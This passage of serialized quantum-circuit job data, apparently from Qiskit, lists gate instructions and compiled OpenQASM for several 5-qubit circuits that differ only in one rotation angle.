'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1257', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1259', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1261', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1263', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 